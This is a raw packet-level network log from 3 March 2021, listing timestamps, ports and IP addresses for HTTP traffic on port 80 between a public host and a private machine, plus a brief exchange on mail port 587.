Mar 3, 2021 07:33:45.843305111 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843331099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843362093 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843386889 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843395948 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843410969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843436003 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843437910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843461037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843488932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843498945 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843504906 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843527079 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843533993 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843558073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843581915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843600988 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843605995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843628883 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843628883 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843655109 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843672037 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843681097 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843704939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843727112 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843729019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843751907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843771935 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843776941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843801975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843825102 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843827009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843852043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843866110 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843875885 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843899965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843919992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843924999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843949080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843971014 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.843971968 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.843997002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844016075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844022036 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.844058037 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.844425917 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844440937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844461918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844490051 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844512939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844530106 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844556093 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.844556093 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844578028 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844599009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844613075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844624043 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.844641924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844649076 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.844667912 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844686985 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.844690084 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844711065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844712973 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.844728947 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844753981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844757080 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.844775915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.844795942 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.845398903 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845419884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845439911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845462084 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845464945 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.845484018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845505953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845525980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845529079 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.845546961 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845558882 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.845566988 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845587015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845626116 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.845940113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845956087 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845980883 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.845998049 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.845999956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846026897 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846026897 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.846045017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846072912 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.846085072 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846107006 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846133947 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846144915 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.846149921 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846180916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846204996 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.846204996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846225977 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846236944 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.846251965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846272945 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.846276999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846301079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846318960 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.846324921 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846371889 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.846915960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846937895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846956015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846982956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.846999884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847028971 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847048044 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847058058 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847071886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847093105 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847094059 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847115040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847135067 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847138882 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847156048 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847162962 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847182035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847198009 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847203016 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847223997 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847238064 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847240925 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847265959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847294092 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847857952 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847875118 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847901106 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847918987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847920895 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847942114 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847942114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847959995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.847980976 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.847981930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848001003 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848022938 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.848023891 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848042011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848063946 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848076105 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.848081112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848100901 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.848104954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848123074 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848140955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848141909 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.848151922 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848180056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848217010 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.848251104 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.848824978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848841906 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848867893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848887920 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848908901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848910093 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.848928928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848947048 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848948002 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.848969936 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848987103 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.848993063 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849009037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849015951 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849030018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849050999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849055052 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849071026 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849081993 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849092007 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849112034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849128962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849149942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849150896 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849196911 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849776983 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849793911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849818945 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849834919 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849839926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849857092 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849862099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849883080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849899054 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849900961 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849922895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849940062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.849942923 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.849993944 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.866007090 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:45.874752998 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:45.918302059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918332100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918358088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918380022 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918387890 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918401003 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918421030 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918430090 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918437004 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918457031 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918457985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918486118 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918508053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918529034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918530941 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918549061 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918559074 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918569088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918590069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918597937 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918608904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918627977 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918639898 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918644905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918670893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918689966 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918693066 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918715000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918732882 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918736935 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918751955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918760061 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918778896 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918796062 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.918797016 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918821096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.918833971 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919071913 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919105053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919121027 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919125080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919152021 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919169903 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919173002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919198990 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919220924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919222116 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919245958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919262886 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919266939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919290066 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919305086 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919312954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919337034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919356108 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919358969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919385910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919399977 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919409037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919433117 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919446945 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.919456005 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.919498920 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920123100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920139074 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920161009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920178890 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920205116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920212984 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920224905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920241117 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920253992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920264959 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920283079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920284986 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920308113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920325994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920329094 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920351982 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920357943 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920371056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920389891 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920396090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920418024 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920439005 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920439005 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920453072 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.920480967 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.920998096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921020031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921034098 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921046972 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921057940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921073914 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921092033 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921106100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921129942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921142101 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921149015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921176910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921178102 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921195984 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921217918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921233892 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921238899 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921258926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921278954 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921279907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921298027 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921319962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921329975 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921339989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921374083 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921495914 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.921958923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921977997 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.921999931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922019958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922036886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922053099 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922059059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922079086 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922079086 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922096014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922117949 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922127008 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922138929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922142029 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922159910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922177076 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922187090 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922195911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922223091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922238111 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922240973 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922261000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922281027 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922303915 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922323942 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922854900 CET	80	49770	172.67.179.188	192.168.2.4
